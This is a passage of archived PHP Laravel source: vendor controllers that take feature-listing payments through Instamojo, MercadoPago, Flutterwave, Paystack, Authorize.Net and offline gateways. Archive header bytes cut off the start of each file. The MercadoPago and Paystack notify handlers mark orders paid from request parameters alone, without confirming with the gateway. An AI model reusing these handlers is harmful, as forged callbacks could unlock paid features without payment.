$transaction->response(); if ($transaction->isSuccessful()) { // remove this session datas $request->session()->forget('paymentFor'); $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Instamojo"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id )->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Instamojo", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html' ); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\$$NHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/MercadoPagoController.phpnu[first(); $mercadopagoData = json_decode($data->information, true); $this->token = $mercadopagoData['token']; $this->sandbox_status = $mercadopagoData['sandbox_status']; } public function index(Request $request, $paymentFor) { $v = $request->charge; $charge = FeaturedListingCharge::find($v); $allowedCurrencies = array('ARS', 'BOB', 'BRL', 'CLF', 'CLP', 'COP', 'CRC', 'CUC', 'CUP', 'DOP', 'EUR', 'GTQ', 'HNL', 'MXN', 'NIO', 'PAB', 'PEN', 'PYG', 'USD', 'UYU', 'VEF', 'VES'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for mercadopago payment.'); } $title = 'Feature Activation '; $notifyURL = route('vendor.listing_management.listing.purchase_feature.mercadopago.notify'); $cancelURL = route('vendor.listing_management.listing'); $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $vendorEmail = $vendor_mail->to_mail; } else { $vendorEmail = $vendor_mail->email; } $curl = curl_init(); $preferenceData = [ 'items' => [ [ 'id' => uniqid(), 'title' => $title, 'description' => $title . ' via MercadoPago', 'quantity' => 1, 'currency' => $currencyInfo->base_currency_text, 'unit_price' => $charge->price ] ], 'payer' => [ 'email' => $vendorEmail ], 'back_urls' => [ 'success' => $notifyURL, 'pending' => '', 'failure' => $cancelURL ], 'notification_url' => $notifyURL, 'auto_return' => 'approved' ]; $httpHeader = ['Content-Type: application/json']; $url = 'https://api.mercadopago.com/checkout/preferences?access_token=' . $this->token; $curlOPT = [ CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode($preferenceData, true), CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_HTTPHEADER => $httpHeader ]; curl_setopt_array($curl, $curlOPT); $response = curl_exec($curl); $responseInfo = json_decode($response, true); curl_close($curl); // put some data in session before redirect to mercadopago url $request->session()->put('paymentFor', $paymentFor); if ($this->sandbox_status == 1) { return redirect($responseInfo['sandbox_init_point']); } else { return redirect($responseInfo['init_point']); } } public function notify(Request $request) { $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); if ($request->status == 'approved') { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Mercado Pago"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Mercado Pago", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { $request->session()->forget('chargeId'); $request->session()->forget('listingId'); Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\h33JHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/OfflineController.phpnu[gateway; $offlineGateway = OfflineGateway::query()->findOrFail($gatewayId); $v = $request->charge; $charge = FeaturedListingCharge::find($v); if ($offlineGateway->has_attachment == 1) { $fieldName = "attachment_" . $request->listing_id; $rules = [ $fieldName => [ 'required', new ImageMimeTypeRule() ] ]; $message = [ "$fieldName.required" => 'Please attach your payment receipt.' ]; $validator = Validator::make($request->only($fieldName), $rules, $message); Session::flash('gatewayId', $offlineGateway->id); if ($validator->fails()) { Session::put('featurePaymentModal', 'ok'); Session::put('modalName', "featurePaymentModal_" . $request->listing_id); return redirect()->back()->withErrors($validator->errors())->withInput(); } } // validation end $directory = public_path('assets/file/attachments/feature-activation/'); // store attachment in local storage if ($request->hasFile('attachment_' . $request->listing_id)) { $attachmentName = UploadFile::store($directory, $request->file('attachment_' . $request->listing_id)); } else { $attachmentName = null; } $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $order = FeatureOrder::where('listing_id', $request->listing_id)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $request->listing_id; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = $offlineGateway->name; $order->gateway_type = "offline"; $order->payment_status = "pending"; $order->order_status = 'pending'; $order->attachment = $attachmentName; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); return view('vendors.listing.offline-success'); } } PK(\AkЊ!!LHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/InstamojoController.phpnu[first(); $instamojoData = json_decode($data->information, true); if ($instamojoData['sandbox_status'] == 1) { $this->api = new Instamojo($instamojoData['key'], $instamojoData['token'], 'https://test.instamojo.com/api/1.1/'); } else { $this->api = new Instamojo($instamojoData['key'], $instamojoData['token']); } } public function index(Request $request, $paymentFor) { $v = $request->charge; $charge = FeaturedListingCharge::find($v); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not if ($currencyInfo->base_currency_text !== 'INR') { Session::flash('warning', 'Invalid currency for instamojo payment.'); return redirect()->back(); } $title = 'Activation Feature'; $notifyURL = route('vendor.listing_management.listing.purchase_feature.instamojo.notify'); $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } try { $response = $this->api->paymentRequestCreate(array( 'purpose' => $title, 'amount' => round($charge->price, 2), 'buyer_name' => "Vendor", 'email' => $to_mail, 'send_email' => false, 'phone' => $vendor_mail->phone, 'send_sms' => false, 'redirect_url' => $notifyURL )); // put some data in session before redirect to instamojo url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('paymentId', $response['id']); $request->session()->put('chargeId', $request->charge); $request->session()->put('listingId', $request->listing_id); return redirect($response['longurl']); } catch (Exception $e) { Session::flash('warning', 'Something Went Wrong'); return redirect()->back()->with('error', 'Sorry, transaction failed!')->withInput(); } } public function notify(Request $request) { $paymentId = $request->session()->get('paymentId'); $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); $urlInfo = $request->all(); if ($urlInfo['payment_request_id'] == $paymentId) { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Instamojo"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Instamojo", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\xF"F"OHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/AuthorizeNetController.phpnu[whereKeyword('authorize.net')->first(); $authorizeNetData = json_decode($data->information, true); $this->gateway = Omnipay::create('AuthorizeNetApi_Api'); $this->gateway->setAuthName($authorizeNetData['login_id']); $this->gateway->setTransactionKey($authorizeNetData['transaction_key']); if ($authorizeNetData['sandbox_check'] == 1) { $this->gateway->setTestMode(true); } } public function index(Request $request, $paymentFor) { $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not $allowedCurrencies = array('USD', 'CAD', 'CHF', 'DKK', 'EUR', 'GBP', 'NOK', 'PLN', 'SEK', 'AUD', 'NZD'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for authorize.net payment.')->withInput(); } // put some data in session before redirect to paytm url; $charge = FeaturedListingCharge::find($request->charge); if ($request->filled('opaqueDataValue') && $request->filled('opaqueDataDescriptor')) { // generate a unique merchant site transaction ID $transactionId = rand(100000000, 999999999); $response = $this->gateway->authorize([ 'amount' => sprintf('%0.2f', $charge->price), 'currency' => $currencyInfo->base_currency_text, 'transactionId' => $transactionId, 'opaqueDataDescriptor' => $request->opaqueDataDescriptor, 'opaqueDataValue' => $request->opaqueDataValue ])->send(); if ($response->isSuccessful()) { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($request->charge); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $request->listing_id)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $request->listing_id; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "Authorize.Net"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "Authorize.Net", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { //cancel payment $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('paymentId'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } else { Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } PK(\ols,,NHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/FlutterwaveController.phpnu[first(); $flutterwaveData = json_decode($data->information, true); $this->public_key = $flutterwaveData['public_key']; $this->secret_key = $flutterwaveData['secret_key']; } public function index(Request $request, $paymentFor) { $v = $request->charge; $charge = FeaturedListingCharge::find($v); $allowedCurrencies = array('BIF', 'CAD', 'CDF', 'CVE', 'EUR', 'GBP', 'GHS', 'GMD', 'GNF', 'KES', 'LRD', 'MWK', 'MZN', 'NGN', 'RWF', 'SLL', 'STD', 'TZS', 'UGX', 'USD', 'XAF', 'XOF', 'ZMK', 'ZMW', 'ZWD'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for flutterwave payment.')->withInput(); } $title = 'Activation Feature'; $notifyURL = route('vendor.listing_management.listing.purchase_feature.flutterwave.notify'); $customerName = $request['billing_name']; $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $vendorEmail = $vendor_mail->to_mail; } else { $vendorEmail = $vendor_mail->email; } $customerPhone = $request['billing_phone']; // send payment to flutterwave for processing $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://api.flutterwave.com/v3/payments', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode([ 'tx_ref' => 'FLW | ' . time(), 'amount' => $charge->price, 'currency' => $currencyInfo->base_currency_text, 'redirect_url' => $notifyURL, 'payment_options' => 'card,banktransfer', 'customer' => [ 'email' => $vendorEmail, 'phone_number' => $customerPhone, 'name' => $customerName ], 'customizations' => [ 'title' => $title, 'description' => $title . ' via Flutterwave.' ] ]), CURLOPT_HTTPHEADER => array( 'authorization: Bearer ' . $this->secret_key, 'content-type: application/json' ) )); $response = curl_exec($curl); curl_close($curl); $responseData = json_decode($response, true); //curl end // put some data in session before redirect to flutterwave url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('chargeId', $request->charge); $request->session()->put('listingId', $request->listing_id); // redirect to payment if ($responseData['status'] === 'success') { return redirect($responseData['data']['link']); } else { return redirect()->back()->with('error', 'Error: ' . $responseData['message'])->withInput(); } } public function notify(Request $request) { // get the information from session $paymentId = $request->session()->get('paymentId'); $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); $urlInfo = $request->all(); if ($urlInfo['status'] == 'successful') { $txId = $urlInfo['transaction_id']; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.flutterwave.com/v3/transactions/{$txId}/verify", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_HTTPHEADER => array( 'authorization: Bearer ' . $this->secret_key, 'content-type: application/json' ) )); $response = curl_exec($curl); curl_close($curl); $responseData = json_decode($response, true); if ($responseData['status'] === 'success') { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "FlutterWave"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "FlutterWave", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $to_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Your Payment successfully completed.'); } catch (Exception $e) { Session::flash('error', $e); } $info = Basic::select('to_mail', 'website_title')->first(); $vendor = Auth::guard('vendor')->user()->username; $mailData['subject'] = "$vendor wants to feature a listing on $info->website_title"; $mailBody = "Dear Admin, I hope this email finds you well. I wanted to bring to your attention that $vendor wants to feature a listing on our website by. Thank you for your attention to this matter."; $mailData['body'] = nl2br($mailBody); $mailData['recipient'] = $info->to_mail; BasicMailer::sendMail($mailData); } $request->session()->forget('chargeId'); $request->session()->forget('listingId'); return redirect()->route('success.page'); } else { $request->session()->forget('chargeId'); $request->session()->forget('listingId'); Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } else { $request->session()->forget('chargeId'); $request->session()->forget('listingId'); Session::flash('success', 'Something Went Wrong'); return redirect()->route('vendor.listing_management.listing'); } } } PK(\?]!!KHttp/Controllers/Vendor/Listing/FeaturePaymentGetway/PaystackController.phpnu[first(); $paystackData = json_decode($data->information, true); $this->api_key = $paystackData['key']; } public function index(Request $request) { $v = $request->charge; $charge = FeaturedListingCharge::find($v); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'NGN' or not if ($currencyInfo->base_currency_text !== 'NGN') { return redirect()->back()->with('error', 'Invalid currency for paystack payment.')->withInput(); } $notifyURL = route('vendor.listing_management.listing.purchase_feature.paystack.notify'); $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $vendorEmail = $vendor_mail->to_mail; } else { $vendorEmail = $vendor_mail->email; } $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://api.paystack.co/transaction/initialize', CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode([ 'amount' => intval($charge->price) * 100, 'email' => $vendorEmail, 'callback_url' => $notifyURL ]), CURLOPT_HTTPHEADER => [ 'authorization: Bearer ' . $this->api_key, 'content-type: application/json', 'cache-control: no-cache' ] )); $response = curl_exec($curl); curl_close($curl); $transaction = json_decode($response, true); // put some data in session before redirect to paystack url $request->session()->put('chargeId', $request->charge); $request->session()->put('listingId', $request->listing_id); if ($transaction['status'] == true) { return redirect($transaction['data']['authorization_url']); } else { return redirect()->back()->with('error', 'Error: ' . $transaction['message'])->withInput(); } } public function notify(Request $request) { // get the information from session $paymentId = $request->session()->get('paymentId'); $chargeId = $request->session()->get('chargeId'); $listingId = $request->session()->get('listingId'); $urlInfo = $request->all(); if ($urlInfo['trxref'] === $urlInfo['reference']) { $vendor_mail = Vendor::Find(Auth::guard('vendor')->user()->id); if (isset($vendor_mail->to_mail)) { $to_mail = $vendor_mail->to_mail; } else { $to_mail = $vendor_mail->email; } $charge = FeaturedListingCharge::find($chargeId); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $order = FeatureOrder::where('listing_id', $listingId)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $listingId; $order->vendor_id = Auth::guard('vendor')->user()->id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = "PayStack"; $order->gateway_type = "online"; $order->payment_status = "completed"; $order->order_status = 'pending'; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); // // send a mail to the Vendor to confirm payment success $vendor = VendorInfo::Where('vendor_id', Auth::guard('vendor')->user()->id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_online_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", "PayStack", $body); $body = preg_replace("/{package_price}/", $charge->price, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 